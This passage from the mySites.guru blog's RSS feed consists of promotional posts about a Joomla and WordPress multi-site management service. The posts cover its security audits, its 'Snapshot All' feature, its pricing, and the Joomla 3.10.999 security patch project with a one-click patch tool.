</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>dashboard</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/_astro/39.CwEfQbBb.webp" length="0" type="image/webp"/></item><item><title>Site Management Is More Than Just Updates</title><link>https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/</link><guid isPermaLink="true">https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/</guid><description>Real site management means security audits, best practice checks, and hack detection - not just bulk updates, backups, and uptime pings.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&quot;Managed site hosting&quot;, &quot;managed server hosting&quot;, &quot;managed updates&quot; - you hear it everywhere. But &lt;strong&gt;there is so much more than updates, backups, and monitoring&lt;/strong&gt; needed to run a successful agency full of sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;At mySites.guru, we manage &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;tens of thousands of Joomla and WordPress sites&lt;/a&gt;, backed by &lt;a href=&quot;https://www.phil-taylor.com&quot;&gt;over a decade of experience within the Joomla project&lt;/a&gt;, delivering architectures for large companies, small companies, and digital agencies.&lt;/p&gt;
&lt;p&gt;There is so much more to website management than running bulk updates, backups, and checking for uptime.&lt;/p&gt;
&lt;p&gt;Plenty of services exist for WordPress, and a handful for Joomla - but very few &lt;strong&gt;handle both platforms&lt;/strong&gt; the way mySites.guru does. Even the big players like GoDaddy have bought companies like ManageWP and rebranded it &lt;a href=&quot;https://www.godaddy.com/en-uk/pro/hub-dashboard&quot;&gt;GoDaddyPro&lt;/a&gt; (WordPress only, though).&lt;/p&gt;
&lt;p&gt;Building a tool that does mass updates, backups, and uptime is table stakes. We&apos;ve watched companies attempt it as a side project with contract help. The hard part is everything else.&lt;/p&gt;
&lt;h2&gt;Why is mySites.guru different?&lt;/h2&gt;
&lt;p&gt;If you run a digital agency or freelance, you need &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;a complete solution&lt;/a&gt;. Not just another updates dashboard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Site management is hard work.&lt;/strong&gt; When a customer calls saying their &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;site is hacked&lt;/a&gt;, they blame you, not their underinvestment. We get it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best practice&lt;/a&gt; is the key to preventative maintenance.&lt;/strong&gt; But it&apos;s hard to keep on top of, hard to consistently apply to all sites - especially when you&apos;ve moved on to the next build or customer, and new attacks keep appearing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;When a site gets hacked&lt;/strong&gt;, you need the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;tools to investigate and fix the hack&lt;/a&gt; yourself, and you need &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;someone to escalate to for bigger issues&lt;/a&gt;. We&apos;ve got your back on that too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Handling 100–1,000 websites is a full-time job.&lt;/strong&gt; Or at least it should be. Many agencies can&apos;t spare a person to do it full-time, and many customers don&apos;t want to pay for maintenance - until everything goes wrong.&lt;/p&gt;
&lt;p&gt;You don&apos;t always have time to check every setting on every site, especially the one the customer still hasn&apos;t paid for.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your datacenter and VPS provider&lt;/strong&gt; only care about power and connectivity. They don&apos;t help with site problems, hacks, or brokenness. It&apos;s never their problem.&lt;/p&gt;
&lt;p&gt;Sometimes you just need &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;an expert&lt;/a&gt; who can talk the talk with your web host and get them to actually make changes.&lt;/p&gt;
&lt;h3&gt;What mySites.guru gives you beyond updates, backups, and uptime&lt;/h3&gt;
&lt;p&gt;From day one, &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; has been an &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;unlimited service at a set price&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt;, with a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;toolset&lt;/a&gt; that goes well beyond what&apos;s listed on the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Every new customer gets a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free month of service&lt;/a&gt; so you can use the tools on your own sites and see what&apos;s really going on under the hood.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Not your typical site management dashboard&lt;/p&gt;
  &lt;p&gt;This is a unique toolset not found elsewhere - security audits, hack detection, and best practice enforcement built into every plan.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;The Snapshot&lt;/h4&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru Snapshot&lt;/a&gt; instantly checks your site against a large number of best practice criteria and reports results within seconds, with links to explore any issues found.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;The Audit&lt;/h4&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru Audit&lt;/a&gt; goes deeper than the Snapshot. It compiles a list of every file in your webspace and checks each line of code, looking for hacks and malicious patterns.&lt;/p&gt;
&lt;p&gt;What we check for improves daily as more crowdsourced data is added. A &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hack found on someone else&apos;s site&lt;/a&gt; gets added to the detection rules, so your next audit catches it too.&lt;/p&gt;
&lt;p&gt;We don&apos;t &quot;scan&quot; your site from the outside like some other vendors do. &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;We look at every single line of code&lt;/a&gt; and every image, flag anything suspect, and give you tools to dig into the results. That same deep scan also turns up &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files most site owners don&apos;t know exist&lt;/a&gt; -- dot-files, leftover scripts, and system files that can become real problems.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;💡 Deep visibility into your sites&lt;/p&gt;
  &lt;p&gt;The Snapshot and Audit each include dozens of tools for digging into what&apos;s actually happening on your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;Learn More Pages&lt;/h4&gt;
&lt;p&gt;Every tool is well documented. The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru Learn More pages&lt;/a&gt; explain what we looked for, what we found, why it matters, and link to external resources if you want to go further.&lt;/p&gt;
&lt;h2&gt;What else does mySites.guru offer?&lt;/h2&gt;
&lt;p&gt;Here&apos;s a quick rundown of what else mySites.guru offers. The &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Features page&lt;/a&gt;&lt;/strong&gt; has everything, or &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt; if you have questions.&lt;/p&gt;
&lt;p&gt;For a deeper dive into any of these areas, see our guides on &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site agency management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;CMS security&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing updates at scale&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;A Single Dashboard&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;Unlimited Sites&lt;/a&gt;  • &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best Practice Checks&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshots&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Suspect Content Tool&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;Periodic Auditing&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find hacks and backdoors&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Rock Solid Backups&lt;/a&gt; • Toggle Fixes • &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One Click Login&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;End-Of-Life Support&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Version Tracking&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Scheduler&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/&quot;&gt;Generate Screenshots&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL Checks&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;White Label Client Reporting&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Supports WordPress &amp;amp; Joomla, even very old versions&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Mass Plugin Installer&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime Monitoring&lt;/a&gt;/&lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;Downtime Alerts Explained&lt;/a&gt;/&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-Time Alerts&lt;/a&gt; • Action Logs •&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Extension Management/Tracking&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Team Accounts&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/&quot;&gt;Lighthouse Performance Audits&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Mass Updates &amp;amp; Upgrades&lt;/a&gt; • Tagging • &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real Time Alerting&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;Fix a Hack&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;One Click Backup&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security Headers Checks&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Unlimited Backup Schedules&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/&quot;&gt;Public Uptime Status Pages&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>site management</category><category>security audits</category><category>best practice</category><category>hack detection</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/50.i6u1ZFZs.webp" length="0" type="image/webp"/></item><item><title>Tools for Managing Multiple Sites</title><link>https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/</link><guid isPermaLink="true">https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/</guid><description>The mySites.guru Snapshot All button refreshes version data, security checks and best practice results across every connected site in one click.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Ok another Friday release - we deploy 7 days a week, and especially on a Friday, our favourite day for features to be released&lt;/em&gt; and deployed!&lt;/p&gt;
&lt;p&gt;Earlier in the week we &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;reinstated the &quot;Backup All&quot; sites button&lt;/a&gt;, this time its the &quot;Snapshot All&quot; button!&lt;/p&gt;
&lt;p&gt;One of the most requested features this week was the ability to &lt;strong&gt;update the snapshot of all sites in one go&lt;/strong&gt;. This is useful just before a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update of Joomla or WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;The mySites.guru snapshot&lt;/a&gt; is the quickest collection of data we run. Whereas the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit requires us to look at every single file in your webspace&lt;/a&gt;, and then &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit every single line of every single file,&lt;/a&gt; the snapshot is looking for very specific things.&lt;/p&gt;
&lt;p&gt;Some of the data is version numbers, PHP Version, Joomla Version, WordPress Versions, PHP Configuration settings etc.&lt;/p&gt;
&lt;p&gt;Some of the data is specific checks, looking at specific configuration options in your site to ensure you are following all the best practice we are promoting.&lt;/p&gt;
&lt;p&gt;We also &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;look for specific hacks&lt;/a&gt; that are quick to find.&lt;/p&gt;
&lt;h2&gt;Where is the &quot;Snapshot All&quot; button?&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Actually mySites.guru had this button way back in 2012 when we first launched when we only had a few sites and we did not need to worry about scaling our service&lt;/p&gt;
&lt;p&gt;It was removed when we started getting busy :)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can find the new button at the top right of the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;main sites overview page&lt;/a&gt;, this page shows some of the version numbers and results of the snapshot.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Once you press this button, we will user a job into our queue for each site, with a short load balancing delay to not overload your web servers, and snapshot each site.&lt;/p&gt;
&lt;p&gt;This will also update the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;list of updates available for each site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can then carry on using mySites.guru as we will do this in the background for you, and update the data as soon as we receive replies from your web servers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is just another example of customers asking for features, and us responding to that feedback - not in a matter of months or weeks, but in hours or days. mySites.guru is the ONLY service that iterates as fast and deploys to production many times a day&lt;/p&gt;
&lt;p&gt;Join us today - &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;get your first month free!&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>joomla</category><category>wordpress</category><category>site management</category><enclosure url="https://mysites.guru/_astro/2new.BCNEEw0O.webp" length="0" type="image/webp"/></item><item><title>The Best Multi-Site Management Dashboard</title><link>https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/</guid><description>Manage unlimited WordPress, Joomla and PHP sites from one secure dashboard. Security audits, backups, uptime monitoring and more for GBP 19.99/month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over 90,000 WordPress and Joomla sites are connected to mySites.guru. One dashboard to &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt;, run &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;security audits, backups, uptime checks&lt;/a&gt; and everything else. Joomla gets the same features, not a cut-down version.&lt;/p&gt;
&lt;p&gt;The service has been running since 2012 and the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;price&lt;/a&gt; hasn&apos;t changed once. GBP 19.99 per month, &lt;strong&gt;unlimited sites&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;What do subscribers actually think?&lt;/h2&gt;
&lt;p&gt;We don&apos;t write our own testimonials. Our subscribers post on Twitter/X and other platforms using their own accounts, and we link to those posts on the &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt;. Click through and verify them yourself.&lt;/p&gt;
&lt;h2&gt;What did WPMayor.com say?&lt;/h2&gt;
&lt;p&gt;WPMayor.com published an independent review of mySites.guru: &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot;&gt;read it on their site&lt;/a&gt;. We &lt;a href=&quot;https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/&quot;&gt;wrote some notes&lt;/a&gt; about it too.&lt;/p&gt;
&lt;h2&gt;What do you actually get?&lt;/h2&gt;
&lt;p&gt;Plenty of multi-site dashboards exist. Very few of them handle Joomla, WordPress &lt;em&gt;and&lt;/em&gt; arbitrary PHP webspaces in the &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;same panel&lt;/a&gt; with identical features across all three. Here&apos;s what&apos;s included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best practice checks&lt;/a&gt; for every connected site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Hacked file and backdoor scanning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime monitoring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;Line-by-line security audits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Akeeba Backup and All-In-One-Backup integration with a &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;flexible backup scheduler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; when files change or someone logs into an admin panel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Still running Joomla 1.5.26? That works too. mySites.guru is &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;compatible back to Joomla 1.5.0&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Switching from Joomla to WordPress?&lt;/h2&gt;
&lt;p&gt;Remove the Joomla site, &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;add the WordPress one&lt;/a&gt;. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;No extra charge&lt;/a&gt;, no per-site fees. Same subscription, same price since 2012.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Simple pricing&lt;/p&gt;
  &lt;p&gt;GBP 19.99 per month. Unlimited sites, all features included.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Can I try it free for a full month?&lt;/h2&gt;
&lt;p&gt;Sign up, connect your sites, use everything. Cancel before the month ends and you pay nothing. &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;Here&apos;s how it works&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Who handles support?&lt;/h2&gt;
&lt;p&gt;mySites.guru support means talking to &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil Taylor&lt;/a&gt; directly. Phil built the service, has been in the Joomla ecosystem since the Mambo days, and was one of the top code contributors to Joomla 4. No ticket queue, no first-line script readers. You &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;talk to the person who wrote the code&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Site hacked? What does cleanup cost?&lt;/h2&gt;
&lt;p&gt;Phil can recover hacked WordPress and Joomla sites for a flat fee, no hourly billing. Details at &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The dashboard is the centrepiece of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>site management</category><category>dashboard</category><enclosure url="https://mysites.guru/_astro/31.MBDvyeXB.webp" length="0" type="image/webp"/></item><item><title>The Joomla 3.10.999 Project</title><link>https://mysites.guru/blog/the-joomla-3-10-999-project/</link><guid isPermaLink="true">https://mysites.guru/blog/the-joomla-3-10-999-project/</guid><description>The Joomla 3.10.999 project backported critical security patches to end-of-life Joomla 3 sites. What it was, why it existed, and what to do now.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 3 reached &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end of life&lt;/a&gt; in August 2023. Since that date, the Joomla Project has not released any further security updates for the 3.x series. If you&apos;re still running Joomla 3, your site is unpatched and exposed.&lt;/p&gt;
&lt;h2&gt;What was the 3.10.999 project?&lt;/h2&gt;
&lt;p&gt;Every time a major Joomla series hits end of life, Phil Taylor publishes what he calls the &quot;dot 999&quot; project. It&apos;s a reference repository: the last official release from the supported series, plus community-sourced security patches to keep sites minimally secure after official support stops.&lt;/p&gt;
&lt;p&gt;Phil did this for Joomla 1.5, Joomla 2.5, and Joomla 3.10. Most of the patches came from community contributors and from Phil&apos;s own work. The projects sit alongside two other long-running community resources: the &lt;a href=&quot;https://mirror.myjoomla.io&quot;&gt;community hosted mirror&lt;/a&gt; (goes back to the Mambo days) and the &lt;a href=&quot;https://corefiles.myjoomla.io&quot;&gt;core files service&lt;/a&gt; (every Joomla file ever officially released).&lt;/p&gt;
&lt;p&gt;All three projects are on GitHub:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla1.5.999&quot;&gt;Joomla 1.5.999&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot;&gt;Joomla 2.5.999&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;Joomla 3.10.999&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are reference repos only. They document the recommended changes to keep sites minimally secure. They were never intended to be complete, forward-compatible, or tracking the latest PHP releases. There are no custom update servers. You grab what you need and apply it yourself.&lt;/p&gt;
&lt;h2&gt;Still on Joomla 3? Is it time to move?&lt;/h2&gt;
&lt;p&gt;Joomla 3 has been end of life since August 2023, over two and a half years now. The latest supported series is Joomla 6 - &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 is the current stable release&lt;/a&gt; - and the migration tooling has come a long way since the early Joomla 4 days.&lt;/p&gt;
&lt;p&gt;Running an unsupported CMS means no security patches and no compatibility fixes. Hosting providers are already dropping the older PHP versions that Joomla 3 needs, so breakage is coming whether you plan for it or not.&lt;/p&gt;
&lt;p&gt;The 3.10.999 project was always a stopgap, not a destination. If you haven&apos;t migrated yet, now is the time.&lt;/p&gt;
&lt;h2&gt;Can you fix every known Joomla 3 vulnerability with one click?&lt;/h2&gt;
&lt;p&gt;Downloading patches from GitHub and manually editing 55 files per site is fine if you have one or two sites. If you manage dozens or hundreds of Joomla 3 installations, it doesn&apos;t scale.&lt;/p&gt;
&lt;p&gt;That&apos;s why mySites.guru built the Joomla 3 Patch Tool. It&apos;s a single toggle that applies every known security fix from the 3.10.999 project directly to your sites. No manual file edits, no separate subscription.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Read the full guide to the Joomla 3 Patch Tool&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;How it works&lt;/h3&gt;
&lt;p&gt;The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. Flip the toggle on and the mySites.guru connector compares MD5 hashes of every file that needs patching against the expected patched versions. Anything that doesn&apos;t match gets replaced. Flip it off and the files revert to stock 3.10.12. Fully reversible.&lt;/p&gt;
&lt;h3&gt;What it patches&lt;/h3&gt;
&lt;p&gt;The tool modifies 55 files covering every known vulnerability disclosed since Joomla 3.10.12:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;9 separate XSS vulnerabilities across media selection fields, mail address outputs, filter code, StringHelper, com_fields, wrapper extensions, OutputFilter methods, module chromes, and menu list IDs&lt;/li&gt;
&lt;li&gt;Cache poisoning in pagination&lt;/li&gt;
&lt;li&gt;Open redirects from inadequate URL validation&lt;/li&gt;
&lt;li&gt;Insufficient session expiration in MFA management views&lt;/li&gt;
&lt;li&gt;Environment variable exposure&lt;/li&gt;
&lt;li&gt;ACL violations in multiple core views&lt;/li&gt;
&lt;li&gt;Bug-fix-for-bug-fix patches, where the now-defunct commercial eLTS releases shipped broken code that needed further patching&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The full CVE list with links to every advisory is in the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;patch tool guide&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Bulk patching across all your sites&lt;/h3&gt;
&lt;p&gt;Got a portfolio of Joomla 3 client sites? The patch tool has a bulk view that shows every Joomla 3.10.12 site you manage with individual toggles. One screen, all your sites.&lt;/p&gt;
&lt;p&gt;Jump straight to it at &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&quot;&gt;manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;No eLTS subscription required&lt;/h3&gt;
&lt;p&gt;The Joomla Project used to offer a commercial eLTS programme for Joomla 3, but that has since ended. mySites.guru includes all known Joomla 3 security patches as part of your standard subscription. The patches come from the same open-source 3.10.999 project.&lt;/p&gt;
&lt;h3&gt;Patched files show up in audits&lt;/h3&gt;
&lt;p&gt;After patching, your mySites.guru security audit will flag the modified files as Core File Changes, because they are changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool, so you always know what changed and why.&lt;/p&gt;
&lt;h2&gt;Why is Joomla 3 still everywhere?&lt;/h2&gt;
